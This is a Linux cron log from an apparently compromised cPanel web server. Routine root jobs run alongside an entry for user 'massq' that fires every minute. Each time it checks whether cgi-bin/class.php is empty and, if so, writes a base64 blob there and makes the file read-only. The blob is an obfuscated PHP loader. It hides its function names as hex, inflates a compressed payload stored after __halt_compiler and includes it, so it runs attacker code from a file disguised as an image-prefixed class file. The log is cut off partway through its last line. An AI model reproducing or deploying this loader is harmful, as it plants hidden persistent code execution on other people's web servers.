Nov 13 03:15:01 server CROND[19014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:16:01 server CROND[20006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:17:01 server CROND[20524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:18:01 server CROND[20984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:19:01 server CROND[21860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:20:01 server CROND[22781]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:20:01 server CROND[22783]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 03:20:01 server CROND[22784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:20:01 server CROND[22786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:20:01 server CROND[22787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:21:01 server CROND[23795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:22:01 server anacron[7051]: Job `cron.daily' started
Nov 13 03:22:01 server run-parts(/etc/cron.daily)[24670]: starting csget
Nov 13 03:22:01 server run-parts(/etc/cron.daily)[24681]: finished csget
Nov 13 03:22:01 server run-parts(/etc/cron.daily)[24670]: starting logclean
Nov 13 03:22:01 server run-parts(/etc/cron.daily)[24694]: finished logclean
Nov 13 03:22:01 server run-parts(/etc/cron.daily)[24670]: starting logrotate
Nov 13 03:22:01 server CROND[24711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:22:02 server run-parts(/etc/cron.daily)[24726]: finished logrotate
Nov 13 03:22:02 server run-parts(/etc/cron.daily)[24670]: starting maldet
Nov 13 03:23:01 server CROND[25516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:24:01 server CROND[26394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:25:01 server CROND[27317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:25:01 server CROND[27318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:25:01 server CROND[27319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:26:01 server CROND[28362]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:26:54 server run-parts(/etc/cron.daily)[29389]: finished maldet
Nov 13 03:26:54 server run-parts(/etc/cron.daily)[24670]: starting man-db.cron
Nov 13 03:26:54 server run-parts(/etc/cron.daily)[29473]: finished man-db.cron
Nov 13 03:26:54 server anacron[7051]: Job `cron.daily' terminated
Nov 13 03:26:54 server anacron[7051]: Normal exit (1 job run)
Nov 13 03:27:01 server CROND[29587]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:27:01 server CROND[29590]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 13 03:27:01 server CROND[29591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBes